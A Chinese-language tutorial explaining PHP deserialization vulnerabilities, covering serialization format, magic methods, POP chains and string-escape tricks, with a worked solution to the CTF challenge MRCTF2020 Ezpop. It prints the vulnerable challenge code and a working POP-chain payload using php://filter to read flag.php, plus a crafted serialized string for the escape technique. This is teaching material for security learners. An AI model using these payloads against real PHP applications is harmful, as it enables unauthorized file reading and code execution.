PHP反序列化漏洞实例深入解析
作者:XINO
引文
上一篇给大家带来了XSS跨站脚本攻击漏洞不知道大家学的咋样了,今天给大家带来另一个漏洞,PHP的反序列化漏洞,这也是我在CTF比赛中遇到过最多的也是比较考察逻辑思维的一种漏洞。
简介
PHP反序列化是一个非常常见的漏洞,利用难度相比于文件上传等漏洞相对较困难,漏洞的形成的根本原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果。
基础知识
在了解反序列化之前先看看反序列化与序列化:
序列化
序列化就是将 对象object、string、array、变量 转换成具有一定格式的字符串,方便保持稳定的格式在文件中传输,以便还原为原来的内容。这个应该很好理解,学过JAVA反序列化的可以按照JAVA的去理解,只不过用到的函数不一样罢了,下面是一个序列化的例子:
<?php class XINO{ var $test = '123456'; } $class1 = new XINO; $class1_ser = serialize($class1); print_r($class1_ser); ?>
输出字符串:
O:4:"XINO":1:{s:4:"test";s:6:"123456";}
O代表存储的是对象(object),4表示有4个字符,XINO表示对象名,1表示有一个值,括号里的以此类推。
反序列化
与序列化相对应,从序列化后的结果中恢复对象(object)。用法和上面的序列化函数差不多,只是作用相反,会恢复被序列化的字符串流。函数为:unserialize。
属性
了解完序列化与反序列化,下一个要了解的我认为是php的属性,有基础的小伙伴可能会知道php的属性有:public(公有),protected(受保护)或 private(私有)。
由于变量的属性不同,序列化后的结果也会有一些细微的差异,这是要十分记住的点,也是个人在学习中经常出错的点:
public:属性被序列化的时候属性值不会更改。
protected:属性被序列化的时候属性值会变成 %00*%00属性名
private:属性被序列化的时候属性值会变成%00类名%00属性名
上面这些要牢牢记住,有时候反序列化攻击不成功也许并不是反序列化利用链不对,而是这些细微的点出错了。
魔术方法
所谓魔术方法,个人理解的是当达成某个特定条件时会自动调用的方法,而在php反序列化中,常用的魔术方法与触发条件如下:
__construct 当一个对象创建时被调用,
__destruct 当一个对象销毁时被调用,
__toString 当一个对象被当作一个字符串被调用。
__wakeup() 使用unserialize时触发
__sleep() 使用serialize时触发
__destruct() 对象被销毁时触发
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__toString() 把类当作字符串使用时触发,返回值需要为字符串
__invoke() 当脚本尝试将对象调用为函数时触发
比如下面代码:
<?php class TestClass { public $foo; public function __construct($foo) { $this->foo = $foo; } public function __toString() { return $this->foo; } } $class = new TestClass('Hello'); echo $class; // 运行结果:Hello ?>
我们新定义一个了一个TestClass类,由于一个新对象被创建,触发__construct,echo该类时,对象被当作了字符串调用,于是触发__toStrng()方法,最后输出Hello。
POP链
学完上面的基础知识后,我们可以引入POP链的知识了,当注入点存在普通的类方法中,我们就不能调用方法了,所以我们需要找到普通类与魔术方法之间的联系,也就是构造POP链,理出一种逻辑思路,通过这种逻辑思路来构造一条pop链,从而达到攻击的目的。
下面给大家带来一个简单的例子:
[MRCTF2020]Ezpop
打开靶机发现网站源码:
Welcome to index.php <?php //flag is in flag.php //WTF IS THIS? //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95 //And Crack It! class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } } class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|../i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); }
这是一道比较经典的POP链题目,可以正着推或者反着推,本次我们反着推,我们一步一步分析:
Modifier类
class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); }
可以看到有利用点include来进行文件包含,php伪协议来访问flag.php。而要想触发append函数, _invoke函数被调用时会触发include函数。
我们看TEST类,类中有 _get() 魔术方法,将this->p设为一个构造好的Modifier对象。再看看show类,其中有toString魔术方法,在一个对象被当作一个字符串使用时调用,当echo一个对象时会自动触发这个方法。返回了 $this->str->source,最后的一步是让source 等于对象,进而触发 __toString方法。
最后的构造的POP链payload为:
<?php class Modifier { protected $var="php://filter/read=convert.base64-encode/resource=flag.php"; } class Show{ public $source; public $str; public function __construct(){ $this->str = new Test(); } } class Test{ public $p; } $a = new Show(); $a->source = new Show(); $a->source->str->p = new Modifier(); echo urlencode(serialize($a)); ?>
运行一下得到结果:
提交就可以得到结果。
PHP字符串逃逸
学完POP链,我们进阶讲一下PHP字符串逃逸,这也是有一些难度的知识点,可以先简单理解为SQL注入,这里就简单讲讲:反序列化以;}为结束标志,后面的内容则忽略不管。假设我们构造一个序列化字符串
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
如果题目中,将flag过滤,我们的字符串会变成:
a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
flag被替换为空了,字符长度不匹配就会向后读取,因为我们要构造恶意字符串去匹配。从而达到逃逸。
结语
今天比较详细的讲了PHP反序列化漏洞的原理以及应用方法,有兴趣的小伙伴可以自己去搭建靶机来进行测试,以上就是PHP反序列化漏洞实例深入解析的详细内容,更多关于PHP反序列化漏洞的资料请关注脚本之家其它相关文章!